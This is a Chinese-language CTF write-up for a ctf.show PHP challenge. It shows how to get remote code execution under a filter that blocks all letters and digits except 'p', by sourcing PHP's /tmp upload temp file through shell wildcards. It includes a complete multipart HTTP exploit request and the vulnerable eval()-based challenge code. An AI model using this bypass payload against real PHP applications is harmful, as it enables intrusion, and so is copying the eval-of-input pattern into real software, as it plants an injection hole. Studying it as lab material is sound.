web-红包第二弹(无数字字母rce)-if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))

web-红包第二弹(无数字字母rce)-if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))

2022年7月11日

13:41

该题目删除了除了小写字母p之外的所有字母,还有过滤。

可用的字符为p和. = < ;

?><?=等同于echo

?><?=``;

通配符和命令执行:

下面这个例子是执行exp.txt中的内容.

./exp.txt

./??p????

 

 

 

这里还需要了解一个php上传的机制:

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。

思路就是上传文件生成临时文件,将真正想要执行的函数放到临时文件中,然后利用eval函数进行执行临时文件。

然后再看cmd这里有两个过滤,过滤了除p以外的所有字母数字,可用的特殊字符为. ? / 等。在linux中,source命令和.相同,用于从当前shell会话中读取文件和执行命令。

boundary为边界分隔符

 

        文件开始标记:-----------------------------10242300956292313528205888

 

        文件结束标记:-----------------------------10242300956292313528205888--

 

        其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。

 

 

#:把执行命令放入一个文件中,之后执行该tmp目录下的文件,查看结果即可。

/tmp/php**.tmp执行该命令,需要前面使用.空格的形式所以,.+这样表示。

cmd=?><?=`.+/??p/p?p??????`;

/tmp/php**.tmp

当然不要----------------------------也可以,

Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对

 

                                              ②multipart/form-data:上传文件

PAYLOAD:

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1

Host: c2993849-f59a-45e0-878b-dd817d91f4a2.challenge.ctf.show

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 240

 

-----------------------------10242300956292313528205888

Content-Disposition: form-data; name="fileUpload"; filename="1.txt"

Content-Type: text/plain

 

#! /bin/sh

 

cat /flag.txt

-----------------------------10242300956292313528205888--

 

 

 

 

<?php

        if(isset($_GET['cmd'])){

            $cmd=$_GET['cmd'];

            highlight_file(__FILE__);

            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

            

                die("cerror");

            }

            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){

                die("serror");

            }

            eval($cmd);

        

        }

    

     ?>

posted @ 2022-07-12 10:17  逆向菜狗  阅读(250)  评论(0编辑  收藏  举报